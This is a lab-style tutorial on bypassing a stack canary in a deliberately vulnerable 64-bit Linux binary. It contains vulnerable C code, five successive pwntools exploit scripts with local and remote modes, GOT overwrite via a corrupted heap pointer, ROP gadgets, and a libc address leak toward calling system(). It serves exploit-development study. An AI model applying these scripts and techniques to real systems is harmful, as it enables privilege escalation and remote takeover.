Canary Bypass

Linux binary exploitation is a very interesting topic. Thanks to my good friend vampire, he gave me this challenge and helped me to understand a stack canary bypass technique.

The primary objective of this challenge is to execute /bin/bash through system() function.

Environment & Tools

1
2
3
Linux Ubuntu01 16.04
python 2.7.x
pwndbg, ROPgadget, IDA, objdump, tmux

Vulnerable Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct contact {
  char name[20];
  char *description;
};

void setup() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
}

int main() {
  struct contact c;

  setup();
  memset(&c, 0, sizeof(c));
  c.description = malloc(100);
  puts("Enter name:");
  scanf("%s", c.name);
  puts("Enter description:");
  scanf("%s", c.description);
  return 0;
}

Compile the code through gcc with default buffer overflow protections.

1
gcc vuln.c -o vuln

Exploit Scenario

  1. While performing a system enumeration as a low privilege user, you found the suid bit is set for this binary, and the effective user is root. Now you would like to escalate your privilege to root.
  2. While scanning a host, you found this binary is running on a certain port. Now you would like to get the remote shell access.

Binary & OS Protection

1
2
3
4
5
6
7
8
9
10
11
# check binary protections:
─$ checksec vuln
[*] '/home/asinha/exploit-dev/vampire_class/bypass_canary_02/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

# check ASLR status:
cat /proc/sys/kernel/randomize_va_space => 2 (ASLR enabled by default, most secure)

High-Level Analysis

  1. It is a 64 bit ELF binary.
  2. .GOT is readable and writable. .GOT is stored in the data segment(RW) section.
  3. Stack memory is not executable.
  4. A canary is used to detect a stack smashing attack. On every program restart, this 8 bytes random value changes.
  5. It is a non_pie binary and ASLR is activated at the OS level. So the data segment is randomized on every program restart and we can’t hardcode any of those addresses in our payload. However, the binary is always gets loaded at a fixed address.

Code Review

  1. Variable c type structure, tag contact is declared in main(). So it gets stored on the stack. The block size of the 64 bit system is 8 bytes. So the total size of the structure is 32 bytes.

    1. name = 24 bytes (originally allocated 20 bytes in code but gcc compiler allocates bytes multiple of 8)
    2. description = 8 bytes
  2. setup() function is used just to flush out the buffer.

  3. memset() function is used to zero out the structure variables.

  4. scanf() reads from the stdin based on the format specifier. Here the format specifier is %s so it reads the input as string until we press ENTER or provide \n, then it stores that entire value into the variables (i.e. c.name and c.description) and adds a null byte or \0 at the end.

  5. c.description variable holds an address that points to a heap region.

The Bugs

Bug 1

  • There is no boundary checking while taking input from the user. We can overflow the stack memory while providing the input more than 20 bytes through name variable.
1
2
line 23: scanf("%s", c.name);  => %19s is not used
line 25: scanf("%s", c.description);  => %99s is not used

Bug 2

  • Similarly, while providing the input through the description variable, we can write something where heap pointer points and can overflow the heap memory if we provide the input more than 100 bytes.
  • If we chain those bugs together, then while giving input through the name variable, we can overwrite the heap_pointer address then providing input through the description variable, we can write something where the heap_pointer points.

In short, we can write something in our specified address.

Static Analysis

1
2
readelf -a vuln | grep -i "entry" => Entry point address:               0x400670
objdump -d -M intel vuln

image-20190711220750599.png

Dynamic Analysis

Navigate to bypass_canary_02 directory and run tmux.

Run exploit_v01.py to interact with the binary through pwndbg.

1
python exploit_v01.py -m true local -b vuln -g true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python2

# author: greyshell

import argparse

from pwn import *

context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']  # run the local binary in tmux session


class UserInput:
    def __init__(self):
        # create the top-level parser
        self.parser = argparse.ArgumentParser(
            description="linux binary exploitation")

        # optional arguments
        self.parser.add_argument("-m", "--debug_mode", metavar="", choices=["true", "false"],
                                 help="enable the debug mode, choices = {true, false}, default=false")

        # based on the dest argument subparsers will be selected
        self.subparsers = self.parser.add_subparsers(title="commands", dest="command",
                                                     help="[command] --help for more details")

        # create a sub parser for the local binary
        self.local_parser = self.subparsers.add_parser("local", description="exploit local binary",
                                                       help="exploit local binary")
        self.local_parser.add_argument("-b", "--binary", metavar="",
                                       help="provide the binary kept in the same directory",
                                       required=True)
        self.local_parser.add_argument("-g", "--gdb", metavar="", choices=['true', 'false'],
                                       help="attach gdb in tmux session, choices = {true, false}, default=false")
        self.local_parser.set_defaults(func='local')

        # create a sub parser for the binary running on network
        self.local_parser = self.subparsers.add_parser("network", description="exploit network binary",
                                                       help="exploit network binary")
        self.local_parser.add_argument("-i", "--ip_address", metavar="",
                                       help="provide ip_address",
                                       required=True)
        self.local_parser.add_argument("-p", "--port", metavar="",
                                       help="provide port",
                                       required=True)
        self.local_parser.set_defaults(func='network')


def exploit(conn):
    """
    exploit code
    :param conn:
    :return:
    """
    conn.recvuntil("name:\n")  # receive bytes till name:
    input_name = "A" * 23  # sendline() will add \n at the end
    conn.sendline(input_name)  # \n will be added in the last and it will be treated as null byte

    conn.recvuntil("description:\n")  # receive bytes till description:
    input_des = "B" * 7  # sendline() will add \n at the end
    conn.sendline(input_des)

    # make the connection interactive
    conn.interactive()


def main():
    my_input = UserInput()
    arguments = my_input.parser.parse_args()
    connection = ""

    # run the script without any argument
    if len(sys.argv) == 1:
        my_input.parser.print_help(sys.stderr)
        sys.exit(1)

    # exploiting local binary
    if arguments.command == 'local':
        binary_name = "./"
        binary_name += arguments.binary
        connection = process([binary_name])
        # attach the binary with gdb in tmux session
        if arguments.gdb == 'true':
            gdb.attach(connection)

    elif arguments.command == 'network':
        connection = remote(arguments.ip_address, arguments.port)

    if arguments.debug_mode == 'true':
        context.log_level = 'debug'

    # invoke the exploit function
    exploit(connection)


if __name__ == '__main__':
    main()

This script sends A and B buffer through the name and description variable.

image-20190727081724587

Program halts on the first scanf().

[DEBUG] sent 0x18 bytes: This means the input is sent from the exploit code, but the program does not yet receive it.

Observe the backtrace, at this point, the execution is not in the main() stack frame.

Jump to the main() frame by entering the finish command multiple times.

image-20190727081853690

From our static analysis, we know that name buffer starts from the RSP + 0 offset and heap_pointer gets stored at RSP + 24.

Verify this hypothesis by analyzing the memory stack.

1
x/20gx $rsp

image-20190727082108421

Exit from the program -> continue or c, quit then ctrl + c.

Understanding the stack layout

1
2
3
4
5
6
0x7fffd9ce76b0: 0x4141414141414141      0x4141414141414141
                   |             |                      |
                   |             |                      this \x41 address is 0x7fffd9ce76b8
                   |             this \x41 address is 0x7fffd9ce76b0
                   |
                   this \x41 address is 0x7fffd9ce76b7

Summary

  • Found the A buffer starting at 0x7fffd9ce76b0.
  • As we have not stepped through the program and executed the second scanf, so we have some heap_pointer value 0x0000000001be2010. This address is from the heap section.
  • I was expecting canary after heap_pointer. But another address - 0x00007fffd9ce77c0 is stored there. It could be due to compiler optimization.
  • However, found canary = 0xf9f40452491f4300 after that. As expected, the canary starts with 00 byte signature.

Get an idea of the libc address range from vmmap command.

Found 0x7f9ccc is the starting pattern for the libc address. (mapping address of .so files.

image-20190727082942062

Found an libc address in the RSP + 7 offset => 0x00007f9ccce51830.

This is the address inside ___libc_start_main().

1
2
pwndbg> telescope 0x00007f9ccce51830
0x7f9ccce51830 (__libc_start_main+240) ◂— mov    edi, eax

For every program restart, this libc address changes but the offset from RSP remains the same.

Strategy to Exploit

  1. We can’t leak the canary value because there are no puts (like printf) after the last scanf.
  2. However, while proving the input to the name variable, we can overwrite the heap_pointer with an address.
  3. Again, while providing the input to the description variable, we can provide an address and this address gets overwritten to the memory location where heap_pointer points.
  4. We know that the binary is partial relro so we can overwrite the .GOT.
1
2
3
# exploit strategy (high level)
input name = overwrite the heap_pointer address with some function's GOT address like put(), scanf()
input description = overwrite the libc address stored on the GOT entry with ROP to get RIP control

Global Offset Table

Open the binary in IDA -> click on main() function, click on IDA_View then right click -> graph_view to understand the code.

image-20190730192512070

If the canary does not match, the program calls the __stack_chk_fail function, which is a libc function.

When we double click on that __stack_chk_fail. Then it goes to the .PLT.

image-20190730193205137.png

Double click again, then it goes to .GOT.

image-20190730193457543

In nutshell, whenever __stack_chk_fail is called then finally it goes to .GOT via .PLT and put the value(basically a libc address) stored into address(0x0000000000601020) inside RIP.

1
.got.plt:0000000000601020 off_601020      dq offset __stack_chk_fail

To get the RIP control, we need to overwrite the value (basically a libc address) stored on 0000000000601020 during run time.

WHERE to write

  • While providing the input into the name variable, we can overwrite the heap_pointer value with 0000000000601020.
  • Also, we need to send 48 bytes buffer to corrupt the canary stored on the stack so that it triggers the __stack_chk_fail function at the end.

WHAT to write

  • While providing input to the description variable, we can feed deadbeef.
  • Objective is to set RIP = deadbeef if we continue to execute the program.
  • Later we can update this deadbeef with ROP gadgets to invoke system().

Bad Char

Usually, the following characters are treated as bad.

1
2
3
0x0a => \n
0x0d => \t
0x20 => space

So 0x0000000000601020 has a bad char => 0x20 and we can’t enter this address through our name input.

1
2
3
# .GOT table structure
0x0000000000601018: puts() function pointer's address (in libc) => 8 bytes
0x0000000000601020:    __stack_chk_fail() function pointer's address (in libc) => (0x0000000000601020 - 0x0000000000601018) = 8 bytes

Due to ASLR and partial relro, the value (basically a libc address) stored on those GOT addresses(i.e 0x0000000000601018) will be changed on every program restart.

However, this binary is non-pie, and the program’s load addressaddress' is notrandomizewhich indicates that all addresses in the program such as0x0000000000601018arefixed`.

Lets observe what values are stored on 0x0000000000601018 and 0x0000000000601020.

1
telescope 0x0000000000601018

image-20190727084310718

1
2
0x0000000000601018 => puts() address => 0x7fdf2d82c690
0x0000000000601020 => 0x400626 => reason: when the program stops, put() is called already ('Enter name:' in the screen) so GOT entry is loaded with libc address but through exploit_v01.py, we did not corrupt the canary so __stack_chk_fail() is not invoked.

Corrupt the Canary

Lets corrupt the canary with exploit_v02.py and verify the __stack_chk_fail() GOT entry.

1
python exploit_v02.py -m true local -b vuln -g true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python2

# author: greyshell

import argparse

from pwn import *

context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']  # run the local binary in tmux session


class UserInput:
    def __init__(self):
        # create the top-level parser
        self.parser = argparse.ArgumentParser(
            description="linux binary exploitation")

        # optional arguments
        self.parser.add_argument("-m", "--debug_mode", metavar="", choices=["true", "false"],
                                 help="enable the debug mode, choices = {true, false}, default=false")

        # based on the dest argument subparsers will be selected
        self.subparsers = self.parser.add_subparsers(title="commands", dest="command",
                                                     help="[command] --help for more details")

        # create a sub parser for the local binary
        self.local_parser = self.subparsers.add_parser("local", description="exploit local binary",
                                                       help="exploit local binary")
        self.local_parser.add_argument("-b", "--binary", metavar="",
                                       help="provide the binary kept in the same directory",
                                       required=True)
        self.local_parser.add_argument("-g", "--gdb", metavar="", choices=['true', 'false'],
                                       help="attach gdb in tmux session, choices = {true, false}, default=false")
        self.local_parser.set_defaults(func='local')

        # create a sub parser for the binary running on network
        self.local_parser = self.subparsers.add_parser("network", description="exploit network binary",
                                                       help="exploit network binary")
        self.local_parser.add_argument("-i", "--ip_address", metavar="",
                                       help="provide ip_address",
                                       required=True)
        self.local_parser.add_argument("-p", "--port", metavar="",
                                       help="provide port",
                                       required=True)
        self.local_parser.set_defaults(func='network')


# noinspection PyUnresolvedReferences,PyUnresolvedReferences
def exploit(conn):
    """
    exploit code
    :param conn:
    :return:
    """
    conn.recvuntil("name:\n")  # receive bytes till name:
    input_name = "A" * 24  # sendline() will add \n at the end
    # we can't overwrite the heap pointer with "C" because program will not find this address
    input_name += p64(0x601028)  # here we need to provide a valid writable address = i.e memset GOT 0x601028
    input_name += "D" * 8  # overwrite the 8 byte pad address
    input_name += "E" * 8  # overwrite the 8 bytes canary
    input_name += "F" * 7  # RBP: 7 bytes other buffer
    conn.sendline(input_name)  # \n will be added in the last and it will be treated as null byte

    conn.recvuntil("description:\n")  # receive bytes till description:
    input_des = "B" * 7  # sendline() will add \n at the end
    conn.sendline(input_des)

    # make the connection interactive
    conn.interactive()


def main():
    my_input = UserInput()
    arguments = my_input.parser.parse_args()
    connection = ""

    # run the script without any argument
    if len(sys.argv) == 1:
        my_input.parser.print_help(sys.stderr)
        sys.exit(1)

    # exploiting local binary
    if arguments.command == 'local':
        binary_name = "./"
        binary_name += arguments.binary
        connection = process([binary_name])
        # attach the binary with gdb in tmux session
        if arguments.gdb == 'true':
            gdb.attach(connection)

    elif arguments.command == 'network':
        connection = remote(arguments.ip_address, arguments.port)

    if arguments.debug_mode == 'true':
        context.log_level = 'debug'

    # invoke the exploit function
    exploit(connection)


if __name__ == '__main__':
    main()

Set the breakpoint before the call of __stack_chk_fail() function.

1
2
pwndbg> disassemble main
pwndbg> b *0x0000000000400859

When we hit this breakpoint,.GOT does not have the __stack_chk_fail() libc address as it is calling the first time, so it is not loaded yet.

set another breakpoint at __stack_chk_fail function.

1
break __stack_chk_fail

image-20190727085847861

Now when we continue the program and hit our first breakpoint, we can notice __stack_chk_fail() libc address is not loaded in .GOT.

image-20190727091100273

Now when we continue again, then the execution goes to __stack_chk_fail.plt then plt_common_stub to dll_runtime_resolv_avx to resolve the address.

Finally, execution stops when it is about to call __stack_chk_fail. At this point, we can notice __stack_chk_fail .GOT's address is loaded.

image-20190727091220702

Analyse the .GOT of puts()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x0000000000601018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x7fbc0e4c4690 (puts) ◂— push   r12
0x0000000000601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7fbc0e56e0f0 (__stack_chk_fail)

# 0x601020 - 0x601018 = 8 bytes

[+] analyse puts() GOT entry
value stored on the 1st byte : 0x0000000000601018 => \x90
value stored on the 2nd byte : 0x0000000000601019 => \x46
value stored on the 3rd byte : 0x000000000060101a => \x4c
value stored on the 4th byte : 0x000000000060101b => \x0e
value stored on the 5th byte : 0x000000000060101c => \xbc
value stored on the 6th byte : 0x000000000060101d => \x7f
value stored on the 7th byte : 0x000000000060101e => \x00
value stored on the last byte (8th): 0x000000000060101f => \x00

Control RIP

Due to ASLR these libc addresses are randomized on every program restart.

However, the interesting point is, ASLR protection randomize only 4 bytes.

Starting 1.5 bytes and last 2.5 bytes are constant / fixed.

Botton line is, we can always predict the last byte of any libc address => \x00.

Resolving the Bad Char

Now instead of overwriting the heap_pointer value with 0000000000601020, we can overwrite 0x000000000060101f (just one byte before the previous address) with 0x00deadbeef.

0x000000000060101f => this does not have any bad char.

Also, while providing the input through the description variable, we can fix this overwritten value with \x00 and provide 0xdeadbeef.

In little endian format => 0xdeadbeef00.

As a result, it makes the puts() GOT entry the same as before and also changed the __stack_chk_fail GOT entry to 0xdeadbeef.

Execute exploit_v03.py and observe RIP = 0xdeadbeef

1
python exploit_v03.py -m true local -b vuln -g true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python2

# author: greyshell

import argparse

from pwn import *

context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']  # run the local binary in tmux session


class UserInput:
    def __init__(self):
        # create the top-level parser
        self.parser = argparse.ArgumentParser(
            description="linux binary exploitation")

        # optional arguments
        self.parser.add_argument("-m", "--debug_mode", metavar="", choices=["true", "false"],
                                 help="enable the debug mode, choices = {true, false}, default=false")

        # based on the dest argument subparsers will be selected
        self.subparsers = self.parser.add_subparsers(title="commands", dest="command",
                                                     help="[command] --help for more details")

        # create a sub parser for the local binary
        self.local_parser = self.subparsers.add_parser("local", description="exploit local binary",
                                                       help="exploit local binary")
        self.local_parser.add_argument("-b", "--binary", metavar="",
                                       help="provide the binary kept in the same directory",
                                       required=True)
        self.local_parser.add_argument("-g", "--gdb", metavar="", choices=['true', 'false'],
                                       help="attach gdb in tmux session, choices = {true, false}, default=false")
        self.local_parser.set_defaults(func='local')

        # create a sub parser for the binary running on network
        self.local_parser = self.subparsers.add_parser("network", description="exploit network binary",
                                                       help="exploit network binary")
        self.local_parser.add_argument("-i", "--ip_address", metavar="",
                                       help="provide ip_address",
                                       required=True)
        self.local_parser.add_argument("-p", "--port", metavar="",
                                       help="provide port",
                                       required=True)
        self.local_parser.set_defaults(func='network')


# noinspection PyUnresolvedReferences,PyUnresolvedReferences
def exploit(conn):
    """
    exploit code
    :param conn:
    :return:
    """
    conn.recvuntil("name:\n")  # receive bytes till name:
    input_name = "A" * 24
    # we can't overwrite the heap pointer with "C" because program will not find this address
    input_name += p64(0x000000000060101f)  # put() GOT last byte => 0x000000000060101f
    input_name += "D" * 8  # overwrite the 8 byte pad address
    input_name += "E" * 8  # overwrite the 8 bytes canary to trigger the __stack_chk_fail
    input_name += "F" * 7  # RBP: 7 bytes other buffer
    conn.sendline(input_name)  # \n will be added in the last and it will be treated as null byte

    conn.recvuntil("description:\n")  # receive bytes till description:
    input_des = "\x00"  # fixing the puts() GOT last byte
    input_des += p64(0xdeadbeef)
    conn.sendline(input_des)
    # sendline() will add \n at the end, the \n will overwrite memset() GOT 1st byte
    # as memset is not used in the code later so it will not be any issue

    # make the connection interactive
    conn.interactive()


def main():
    my_input = UserInput()
    arguments = my_input.parser.parse_args()
    connection = ""

    # run the script without any argument
    if len(sys.argv) == 1:
        my_input.parser.print_help(sys.stderr)
        sys.exit(1)

    # exploiting local binary
    if arguments.command == 'local':
        binary_name = "./"
        binary_name += arguments.binary
        connection = process([binary_name])
        # attach the binary with gdb in tmux session
        if arguments.gdb == 'true':
            gdb.attach(connection)

    elif arguments.command == 'network':
        connection = remote(arguments.ip_address, arguments.port)

    if arguments.debug_mode == 'true':
        context.log_level = 'debug'

    # invoke the exploit function
    exploit(connection)


if __name__ == '__main__':
    main()

image-20190727092631751

ROP Gadget

During this crash, RSP points just before our input buffer.

If we would like to get full control of the stack, then we need to organize the stack in such a way so that.

  • RSP should point below 0x7ffc50cc51a0. Otherwise, we limit ourselves to the initial 24 bytes as the heap_pointer value is fixed.
  • RSP - 8 should point to an address of another ROP chain.
  • RSP should have the value that we want to set in the register (argument of a function)

It means we need to find an ROP gadget that makes RSP points to 0x7ffc50cc51b0.

Replace 0xdeadbeef with (5 POP + RETN) gadget address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# scenario: 1
0x7ffc50cc5178 => when EIP = deadbeef, RSP points here
0x7ffc50cc5180 => input name
0x7ffc50cc5188 => input name
0x7ffc50cc5190 => input name
0x7ffc50cc51a0 => input name => overwrite heap_pointer with .GOT address
0x7ffc50cc51a8 => pad bytes (DDDDDDDD)
0x7ffc50cc51b0 => canary (EEEEEEEE)
0x7ffc50cc51b8 => EBP (FFFFFFFF)

# scenario: 2
0x7ffc50cc5178 => EIP = (5 POP + RETN) gadget address
0x7ffc50cc5180 => input name
0x7ffc50cc5188 => input name
0x7ffc50cc5190 => input name
0x7ffc50cc51a0 => input name => overwrite heap_pointer with .GOT address
0x7ffc50cc51a8 => pad bytes (DDDDDDDD)
0x7ffc50cc51b0 => canary (EEEEEEEE) => RSP points here
0x7ffc50cc51b8 => EBP (FFFFFFFF)

Find the Gadget

1
2
3
4
[+] find the 'POP POP POP POP POP POP RETN' gadget:
ROPgadget --binary vuln | grep pop
[SNIPPED..]
0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret   => selecting this gadget

Update the exploit_v04.py with the ROPgadget address => 0x00000000004008bb, replace DDDDDDDD with 0xdeadbeef.

Set a breakpoint on that address - 0x00000000004008bb and continue with step single instruction (si).

During crash, RSP will point to EEEEEEEE or 0x4545454545454545 and RIP = 0xdeadbeef.

1
python exploit_v04.py -m true local -b vuln -g true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python2

# author: greyshell

import argparse

from pwn import *

context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']  # run the local binary in tmux session


class UserInput:
    def __init__(self):
        # create the top-level parser
        self.parser = argparse.ArgumentParser(
            description="linux binary exploitation")

        # optional arguments
        self.parser.add_argument("-m", "--debug_mode", metavar="", choices=["true", "false"],
                                 help="enable the debug mode, choices = {true, false}, default=false")

        # based on the dest argument subparsers will be selected
        self.subparsers = self.parser.add_subparsers(title="commands", dest="command",
                                                     help="[command] --help for more details")

        # create a sub parser for the local binary
        self.local_parser = self.subparsers.add_parser("local", description="exploit local binary",
                                                       help="exploit local binary")
        self.local_parser.add_argument("-b", "--binary", metavar="",
                                       help="provide the binary kept in the same directory",
                                       required=True)
        self.local_parser.add_argument("-g", "--gdb", metavar="", choices=['true', 'false'],
                                       help="attach gdb in tmux session, choices = {true, false}, default=false")
        self.local_parser.set_defaults(func='local')

        # create a sub parser for the binary running on network
        self.local_parser = self.subparsers.add_parser("network", description="exploit network binary",
                                                       help="exploit network binary")
        self.local_parser.add_argument("-i", "--ip_address", metavar="",
                                       help="provide ip_address",
                                       required=True)
        self.local_parser.add_argument("-p", "--port", metavar="",
                                       help="provide port",
                                       required=True)
        self.local_parser.set_defaults(func='network')


# noinspection PyUnresolvedReferences,PyUnresolvedReferences
def exploit(conn):
    """
    exploit code
    :param conn:
    :return:
    """

    conn.recvuntil("name:\n")  # receive bytes till name:
    input_name = "A" * 24
    # we can't overwrite the heap pointer with "C" because program will not find this address
    input_name += p64(0x000000000060101f)  # put() GOT last byte => 0x000000000060101f
    input_name += p64(0xdeadbeef)  # overwrite the 8 byte address
    input_name += "E" * 8  # overwrite the 8 bytes canary to trigger the __stack_chk_fail
    input_name += "F" * 7  # 7 bytes other buffer
    conn.sendline(input_name)  # \n will be added in the last and it will be treated as null byte

    conn.recvuntil("description:\n")  # receive bytes till description:
    input_des = "\x00"  # fixing the puts() GOT last byte
    input_des += p64(0x00000000004008bb)  # 0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    # sendline() will add \n at the end, the \n will overwrite memset() GOT 1st byte
    # as memset is not used in the code later so it will not be any issue
    conn.sendline(input_des)

    # make the connection interactive
    conn.interactive()


def main():
    my_input = UserInput()
    arguments = my_input.parser.parse_args()
    connection = ""

    # run the script without any argument
    if len(sys.argv) == 1:
        my_input.parser.print_help(sys.stderr)
        sys.exit(1)

    # exploiting local binary
    if arguments.command == 'local':
        binary_name = "./"
        binary_name += arguments.binary
        connection = process([binary_name])
        # attach the binary with gdb in tmux session
        if arguments.gdb == 'true':
            gdb.attach(connection)

    elif arguments.command == 'network':
        connection = remote(arguments.ip_address, arguments.port)

    if arguments.debug_mode == 'true':
        context.log_level = 'debug'

    # invoke the exploit function
    exploit(connection)


if __name__ == '__main__':
    main()

image-20190727094227738

Leak libs - malloc() address

Now our goal is to leak any libc address and find the offset from system().

puts() is used in our program code. So we can leak any libc address by invoking/calling puts() function.

There are two ways,

  1. Through it’s .PLT. This address is stored in the code section. So this address is fixed (permission RX).
  2. Through it’s .GOT. This address is stored in the data section for the partial_relro binary. (permission RW)

.PLT address of puts()

From IDA graph view, click on any puts() function, it goes to its .PLT, right click => text view = 0000000000400610.

image-20190730195502394

Argument of puts()

puts() takes one argument => a pointer to a string.

All libc addresses are loaded in GOT during run time. So if we need the malloc() libc address then we need to pass it’s GOT address - 0000000000601030 as an argument to puts() function.

puts() tries to print all values stored from that address until it gets null.

1
got.plt:0000000000601030 off_601030      dq offset malloc        ; DATA XREF: _malloc

Call puts()

Before calling puts() we need to move .GOT malloc() address to EDI register.

Search a gadget for POP RDI; RETN

1
2
╰─$ ROPgadget --binary vuln | grep "pop rdi"
0x00000000004008c3 : pop rdi ; ret

Set up the Stack

1
2
3
4
5
6
7
8
9
# scenario: 2
0x7ffc50cc5178 => EIP = (5 POP + RETN) gadget address
0x7ffc50cc5180 => input name
0x7ffc50cc5188 => input name
0x7ffc50cc5190 => input name
0x7ffc50cc51a0 => input name => overwrite heap_pointer with .GOT address
0x7ffc50cc51a8 => `0xdeadbeef`: replace with `POP RDI; RETN` gadget address - `0x00000000004008c3`
0x7ffc50cc51b0 => `canary` (`EEEEEEEE`): replace with `0000000000601030`=> (malloc .GOT)
0x7ffc50cc51b8 => EBP (FFFFFFFF): replace with `0xdeadbeef`

Update the exploit_v05.py.

1
python exploit_v05.py -m true local -b vuln -g true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python2

# author: greyshell

import argparse

from pwn import *

context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']  # run the local binary in tmux session


class UserInput:
    def __init__(self):
        # create the top-level parser
        self.parser = argparse.ArgumentParser(
            description="linux binary exploitation")

        # optional arguments
        self.parser.add_argument("-m", "--debug_mode", metavar="", choices=["true", "false"],
                                 help="enable the debug mode, choices = {true, false}, default=false")

        # based on the dest argument subparsers will be selected
        self.subparsers = self.parser.add_subparsers(title="commands", dest="command",
                                                     help="[command] --help for more details")

        # create a sub parser for the local binary
        self.local_parser = self.subparsers.add_parser("local", description="exploit local binary",
                                                       help="exploit local binary")
        self.local_parser.add_argument("-b", "--binary", metavar="",
                                       help="provide the binary kept in the same directory",
                                       required=True)
        self.local_parser.add_argument("-g", "--gdb", metavar="", choices=['true', 'false'],
                                       help="attach gdb in tmux session, choices = {true, false}, default=false")
        self.local_parser.set_defaults(func='local')

        # create a sub parser for the binary running on network
        self.local_parser = self.subparsers.add_parser("network", description="exploit network binary",
                                                       help="exploit network binary")
        self.local_parser.add_argument("-i", "--ip_address", metavar="",
                                       help="provide ip_address",
                                       required=True)
        self.local_parser.add_argument("-p", "--port", metavar="",
                                       help="provide port",
                                       required=True)
        self.local_parser.set_defaults(func='network')


# noinspection PyUnresolvedReferences,PyUnresolvedReferences
def exploit(conn):
    """
    exploit code
    :param conn:
    :return:
    """
    conn.recvuntil("name:\n")  # receive bytes till name:
    input_name = "A" * 24
    input_name += p64(0x000000000060101f)  # heap_pointer = overwrite from .GOT puts() last byte => 0x000000000060101f
    input_name += p64(0x00000000004008c3)  # pad address = 0x00000000004008c3 : pop rdi ; ret
    input_name += p64(0x0000000000601030)  # canary: argument of `puts()` => `0000000000601030` -> .GOT malloc()
    input_name += p64(0x0000000000400610)  # EBP = PLT address of puts => `0000000000400610`
    input_name += p64(0xdeadbeef)  # some return address
    conn.sendline(input_name)  # \n will be added in the last and it will be treated as null byte

    conn.recvuntil("description:\n")  # receive bytes till description:
    input_des = "\x00"  # fixing the puts() GOT last byte
    input_des += p64(0x00000000004008bb)  # 0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    # sendline() will add \n at the end, the \n will overwrite memset() GOT 1st byte
    # as memset is not used in the code later so it will not be any issue
    conn.sendline(input_des)

    libc_leak = u64(conn.recvn(6) + '\x00\x00')  # as libc address last two bytes are null 
    print "[+] libc_address => malloc(): ", hex(libc_leak)

    # make the connection interactive
    conn.interactive()


def main():
    my_input = UserInput()
    arguments = my_input.parser.parse_args()
    connection = ""

    # run the script without any argument
    if len(sys.argv) == 1:
        my_input.parser.print_help(sys.stderr)
        sys.exit(1)

    # exploiting local binary
    if arguments.command == 'local':
        binary_name = "./"
        binary_name += arguments.binary
        connection = process([binary_name])
        # attach the binary with gdb in tmux session
        if arguments.gdb == 'true':
            gdb.attach(connection)

    elif arguments.command == 'network':
        connection = remote(arguments.ip_address, arguments.port)

    if arguments.debug_mode == 'true':
        context.log_level = 'debug'

    # invoke the exploit function
    exploit(connection)


if __name__ == '__main__':
    main()

Set a breakpoint on that address - 0x00000000004008bb and continue to hit the breakpoint then single-step through (si) the program.

After we finish 5 POP + RETN, RSP points to the overwritten canary => 0000000000601030.

image-20190727120236240

After we finish POP RDI, RETN, RSP will point to overwritten EBP / 0xdeadbeef and the program is about to execute puts() .PLT.

image-20190727120545693

If we continue then puts() prints the malloc() libc address and RIP = 0xdeadbeef.

image-20190727121324645

system() offset

From this libc_leak, we need to find the offset of system() address and /bin/sh address. Those addresses are fixed across every run for that libc. For a different kernel, that libc address changes, but the offset remains the same.

image-20190727122050900

1
2
3
4
5
6
7
pwndbg> print system => 0x7fb0b924d390
system_offset = 0x7fb0b924d390 - 0x7fb0b928c130 (libc_malloc_leak)
system_address = libc_leak + system_offset

